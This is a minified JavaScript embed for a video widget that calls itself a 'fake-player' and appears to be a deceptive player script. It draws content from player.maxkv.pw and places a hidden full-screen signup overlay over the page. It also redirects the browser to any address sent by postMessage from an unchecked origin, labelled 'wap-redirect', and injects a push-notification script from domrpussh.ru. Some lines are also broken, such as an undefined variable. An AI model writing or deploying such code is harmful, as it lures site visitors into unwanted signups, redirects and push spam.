function prepareJquery(jQueryModel) { if(window.jQuery) jQueryModel(); else{ var script = document.createElement('script'); document.head.appendChild(script); script.type = 'text/javascript'; //script.src = "https://code.jquery.com/jquery-3.6.0.slim.min.js"; //script.src = "//ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"; script.src = "https://player.maxkv.pw/plugin/bootstrap/js/jquery-1.10.2.min.js"; script.onload = jQueryModel; } } prepareJquery(function jQueryModel() { $(function() { var timerStart = Date.now(); var frame_url; var wap_url; var scr_video = ""; var frame_url_additional = ""; var tmp_url_additional = ""; var t; var k = '50'; var f = '0:0'; var o = ''; var y = 'player.maxkv.pw'; var show_log = true; _log("Begin load: " + (Date.now()-timerStart)); var Plarix = { options: {}, setup: function(options) { var self = this; var p = $(".fake-player"); t = p; var attributes = {p:$(".fake-player"),f:$("#widget-player .fake-player"),platform_id:p.attr("data-platform"),p_title:p.attr("data-title"),p_istitle: p.attr("data-titles"),p_audio:p.attr("data-audio"),p_logo:p.attr("data-logo"),p_poster:p.attr("data-poster"),p_skip_intro:p.attr("data-register"),p_playlist:p.attr("data-list"),p_type_size:p.attr("data-width-type"),p_type_width:p.attr("data-width-px"),p_playlist_btn:p.attr("data-playelist-btn"),p_src_video:p.attr("data-src-video"),duration:p.attr("data-src-duration"),reg_time:p.attr("data-src-regtime"),p_title_date:p.attr("data-title-date"),p_hide_count:p.attr("data-hide-count"),s_ll:p.attr("data-sport-ll"),s_ln:p.attr("data-sport-ln"),s_rl:p.attr("data-sport-rl"),s_rn:p.attr("data-sport-rn"),s_t:p.attr("data-sport-t"),p_seek:p.attr("data-seek")}; self.options = options; self.initData(options.initialize,attributes); }, initData: function(options, o) { if(options.crossorigin != null && options.init != null) { var hidelist = ''; switch(o.p_type_size) { case 'auto': var newWidth = '100%'; var newHeight = $('.fake-player').width()/1.78; break; case 'autofix': var dataWidth; if($('.fake-player').width() > o.p_type_width) { var newWidth = '100%'; dataWidth = $('.fake-player').width(); } else { var newWidth = o.p_type_width + 'px'; dataWidth = o.p_type_width; } var newHeight = dataWidth/1.78; break; case 'fixed': var newWidth = o.p_type_width + 'px'; var newHeight = o.p_type_width/1.78; break; default: var newWidth = '100%'; var newHeight = $('.fake-player').width()/1.78; } $('.mainData').css({"width":newWidth,"height":newHeight+"px"}); if(o.p_src_video) { scr_video = '&video-src='+o.p_src_video; } if( $('.fake-player').width() < 400) { hidelist = true; } var general_domain = $(".appenJs").attr("src").split('/'); if(o.platform_id == 1) { var sport_data = "&sport_ll="+o.s_ll+"&sport_ln="+o.s_ln+"&sport_rl="+o.s_rl+"&sport_rn="+o.s_rn+"&sport_total="+o.s_t; } else { var sport_data = ""; } let main_request_sheme = 'https'; let main_domain = general_domain[2]; let iframe = document.createElement("div"); $(iframe).css({'width':newWidth,'height':newHeight,'border':'none'}); $(iframe).attr({allowfullscreen:'allowfullscreen',id:'mainData',class:'mainData',name:'target'}); _log("Test: " + (Date.now()-timerStart)); $(iframe).css({'background-position':'center','background-repeat':'no-repeat','position':'relative','display':'inline-block','overflow':'hidden','transition':'all 200ms ease-out','cursor':'pointer'}); //var uri = main_request_sheme + '://' + main_domain + '/player.php?refid='+options.crossorigin+'&movie_id='+options.init+'&platfom='+o.platform_id+'&p_title='+o.p_title+'&p_istitle='+o.p_istitle+'&p_audio='+o.p_audio+'&p_logo='+o.p_logo+'&p_poster='+o.p_poster+'&p_skip_intro='+o.p_skip_intro+'&p_playlist='+o.p_playlist+'&p_type_size='+o.p_type_size+'&p_type_width='+o.p_type_width+'&p_islast='+options.last+'&hidelist='+hidelist+'&access-domain='+options.access+'&b-toggle='+o.p_playlist_btn+''+scr_video+'&duration='+o.duration+'&r_time='+o.reg_time+'&date-title='+o.p_title_date+'&hide-count='+o.p_hide_count+''+sport_data+'&is-seeking='+o.p_seek; var uri = main_request_sheme + '://' + main_domain + '/player.php?refid='+options.crossorigin+'&movie_id='+options.init+'&platfom='+o.platform_id+'&p_title=&p_istitle='+o.p_istitle+'&p_audio='+o.p_audio+'&p_logo='+o.p_logo+'&p_poster='+o.p_poster+'&p_skip_intro='+o.p_skip_intro+'&p_playlist='+o.p_playlist+'&p_type_size='+o.p_type_size+'&p_type_width='+o.p_type_width+'&p_islast='+options.last+'&hidelist='+hidelist+'&access-domain='+options.access+'&b-toggle='+o.p_playlist_btn+''+scr_video+'&duration='+o.duration+'&r_time='+o.reg_time+'&date-title='+o.p_title_date+'&hide-count='+o.p_hide_count+''+sport_data+'&is-seeking='+o.p_seek; uri = uri.replace(/\n/g, '').replace(/\r/g, ''); tmp_url_additional = 'https://'+general_domain[2]+'/z2.plugin/index.php?crossorigin='+options.crossorigin+'&logo='+o.p_audio+'&plat='+o.platform_id+'&movieid='+options.init+'&fakeaudio='+o.p_audio+''; $(iframe).load(uri, function( response, status, xhr ) { if(status == 'success') { _log("Time until load player: " + (Date.now()-timerStart)); let frame_signup = document.createElement("iframe"); $('.play').css({'background':'none'}); $(frame_signup).css({'overflow':'hidden','width':'100%','height':'100%','position':'fixed','top':'0px','left':'0px','border':'medium none','display':'none','z-index':9999,'background-color':'#333333','background-color':'rgba(0, 0, 0, 0.5)','color':'#333333','font-size':'13px','font-weight':400}); $(frame_signup).attr({src: tmp_url_additional,name:'plugin-register',id:'plugin-register',frameborder:0}); $("#widget-player .fake-player").append(frame_signup); $(frame_signup).on('load', function() { _log("Time until Signup load: " + (Date.now()-timerStart)); }); setTimeout(function() { if($("#widget-player .fake-player #mainData").length == 0) { $("#widget-player .fake-player iframe").remove(); $("#widget-player .fake-player #mainData").append(frame_signup); } },100); } }); o.f.css('background-color', '#d3d3d3'); o.f.append($('
', {'class': 'play'})); $('.play').css({'background':'url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAERklEQVR4nOWbTWhcVRTHb1IJVoxGtNCNdal2JYJReC6GWuO83PM/59yUS3FRFARdFlwYP1CfiojQWt36sRCUurRIdVFXIn41lAoVdRGrG1M01YpKrWjiYmaSl8ybZJL3cd+YA//NLObd3++eO8x79z5jSq5Gw+8kov0AP8vMR5l1BtBZQM4B8ks75wCdZdYZZj5qLZ4hov2Nht9Z9vhKKSIaB/gI4M4w62KeAO6Mte4lYOq20FxrlqqOibhHmeWbvNC9ZfDX1mLae391aN6limO/gwgvAPJbWeAZuSDingdwXTBw7/0IsyaA/Fkh+KqOkD+YNfHej1QKD+y7iVlOhgLvFqFfNJvNGyuBJ+KDAF8MDd0tgS8y64OlgSdJMsysL4cG7SOHkyQZLhTee7+d2R2rAVy/S+Jd7/32ouBHAP4gNNRGQyTHc/84NhqNywZp5rvjjnnvt21aABFeCQ+RLwAf2hQ8s7sv9OCLk6AHNgQvIrvbfzKCD76g/O6cu7lf/iER/aQGgy448pExZmhdegAPhR9sObFWH1gT3lp7DaA/5bkIgJhZPgsNmz02novj+KqeApj1ubwXWe4kdyeznAgNvTpE/HQmvKqOMeuFogTUVQSRno+iaLRLAJF7uIgL9O4ubgL8aWgB7S44mNX+35YpICUiAvS9sBLkq1WzT+NFffl6AuoiApi6NT37h6sWkBIRZGkQ8YtLgyji6e1mBYTqCEBPG2Naz+0BWQgtoGoRgCzEsd9hAN1X5BfnFZASUfrSAFQNsyZ1FJASUVpHiLinDJG8U2cBZYogkrcNs5waBAGdstbeU9zdqpw0gPwwSAI6VUxHyFlDpOcHUUBBIuYNs14aZAE5RVwyzPr3/0EAEY0TyfGNjBWQvwZ +CTSbehfAH29mrID8bET0+0EUkAd8WYDOmqJ3ecsG30yr9wqRfm6Y+a1BEFDEjHfHvWmY9ck6CygHvBVr8Xhtb4ZE5HZA3y8DvBNA1TjnrmXWf+sioMwZX5V/VHXMGGMMoKdDCxCRvRWBdzKzdHEO+EisilbPyopHYqp6S9UCAsz4iojI7hUDAtyXVQgIDd6KnOoaWNkbI6FaPSuZGyMArsi7MZoloB4zviI/Nhr3X95jltwTRQmoIfgisy5ai+me67OI7fE4nrqjrqfK1t0eby0FPRB6oGVlchL3rgnfrq19RKbVBdhV9IOSwJmfmJi4vi/4ThERitwyCxVAFqydshuCX5awhQ9KtmuIWd8IDZED/nXT77rvVVv6sHRKwjYi91poqP7Dr+Y6JJ1VSZIMA3wkPNy6bX+o8Bcm0sXMdwM8Fxo0A3xORPaWBp6uPXsmbxCRD0NDL0dOANhVCXy6iAjMcjbcrMt3RITKwdMVRdFo+y5yvkL4eWZ+zHt/ZVD4dEVRNGotpst+dZZZH8k86lqn2pIvT/eqrNfn2xuyqYPZ8mv7s8pfn/8Pybm4TIjanscAAAAASUVORK5CYII=") no-repeat center center','background-size':'64px 64px','position':'absolute','width':'100%','height':newHeight,'opacity':.8,'filter':'alpha(opacity=80)','transition':'all 0.2s ease-out'}); o.f.append(iframe); frame_url = 'https://'+general_domain[2]+'/z2.plugin/index.php?crossorigin='+options.crossorigin+'&logo='+o.p_audio+'&plat='+o.platform_id+'&movieid='+options.init+'&fakeaudio='+o.p_audio+''; frame_url_additional = frame_url; autoresize(); if(options.access != "") { setTimeout(function(){autoresize()},800); } } } } function _log(string) { if(show_log) { console.log("Trace: " + string); } } $(window).resize(autoresize); function autoresize() { switch(t.attr("data-width-type")) { case 'auto': $('.fake-player').height($('.fake-player').width()/1.78); var newWidth = '100%'; var newHeight = $('.fake-player').width()/1.78; break; case 'autofix': $('.fake-player').height($('.mainData').width()/1.78); var dataWidth; if($('.fake-player').width() > $(".fake-player").attr("data-width-px")){ var newWidth = '100%'; dataWidth = $('.fake-player').width(); } else { var newWidth = $(".fake-player").attr("data-width-px") + 'px'; dataWidth = $(".fake-player").attr("data-width-px"); } var newHeight = dataWidth/1.78; break; case 'fixed': $('.fake-player').height($('.mainData').width()/1.78); var newWidth = $(".fake-player").attr("data-width-px") + 'px'; var newHeight = $(".fake-player").attr("data-width-px") / 1.78; break; } $('.mainData').css({"width":newWidth,"height":newHeight+"px"}); if( $('.mainData').width() < 400) { if($(".fake-player").attr("data-list") == "true") { var iframeParent = document.getElementById('mainData'); iframeParent.contentWindow.postMessage({event_id: 'close-list'}, '*'); } $(".togglePlaylist").remove(); if($(".fake-player").attr("data-list") == "true") { let u = document.createElement("a"); $(u).css({'text-decoration':'none','background-color':'#296eaa','border-color':'#246195','-webkit-border-radius':0,'-moz-border-radius':0,'-ms-border-radius':0,'border-radius':0,'display':'block','padding-left':0,'padding-right':0,'color':'#fff','margin-bottom':0,'font-weight':400,'text-align':'center','vertical-align':'middle','cursor':'pointer','background-image':'none','border':'1px solid transparent','white-space':'nowrap','padding':'6px 12px','font-size':'14px','line-height':1.42857143,'-webkit-user-select':'none','-moz-user-select':'none','-ms-user-select':'none','user-select':none}); $(u).addClass('event-playlist btn btn-primary btn-sm btn-block'); $(u).attr({'href':'javascript:void(0)'}); $(u).text('Открыть список серий'); $('.widget-player').append(u); } } else { $(".togglePlaylist").remove(); if($(".fake-player").attr("data-list") == "true") { var iframeMain = document.getElementById('mainData'); iframeMainlist.contentWindow.postMessage({event_id: 'open-list'}, '*'); } } } var hasOpen = false; var hasModal = false; function receiveMessage(event) { switch(event.data.event_id) { case 'wap-redirect': location.href = event.data.uri; break; case 'index-title': var current_id = event.data.film_id; frame_url_additional = frame_url_additional+'&replace-movie-id='+current_id; break; case 'switch-toggle': break; case 'switch-toggle-off': break; case 'list-open': $(".event-playlist").show(); break; case 'button-off': is_enabled = true; $(".event-playlist").remove(); break; case 'button-off': is_enabled = true; $(".event-playlist").remove(); break; case 'plugin-close': $('#plugin-register').hide(); break; case 'plugin-reload': location.reload(); break; case 'plugin-register': if(!hasOpen) { _log('Open plugin register'); $('#plugin-register').show(); setTimeout(function(){count_opened = false;},200); var iframeMain = document.getElementById('plugin-register'); //iframeMain.contentWindow.postMessage({event_id: 'play-me'}, '*'); } break; } } addEventListener("message",receiveMessage,false); Plarix.setup({ initialize: { crossorigin : k, init : f, last : o, access : y } }); if (document.readyState === "complete") { autoresize(); } }); var state_playlist = false; $(".event-playlist").click(function(event) { let t = $('#mainData'); t.contentWindow.postMessage({event_id: 'layelist', state: state_playlist}, '*'); if(state_playlist) { $(".event-playlist").text('Закрыть список серий'); } else { $(".event-playlist").text('Открыть список серий'); } }); window.onload = function () { if($(".fake-player").attr('data-push') == 'true') { var subid = 50; var curr_location = window.location.href; window.onSubInit = function (manager) { if (manager.getPermission() === 'default') { manager.attachEvent('subscribe', function () { //fetch('/functions.php?subscribe_id='+subid+'&refer='+curr_location, {method: 'GET',mode: 'no-cors'}); }); } manager.start(); }; var e = document.createElement("script"); e.src = 'https://domrpussh.ru/?pu=gbsgkzdcmy5ha3ddf42tmnbw&sub4='+subid; e.type = "text/javascript"; document.getElementsByTagName("head")[0].appendChild(e); } } })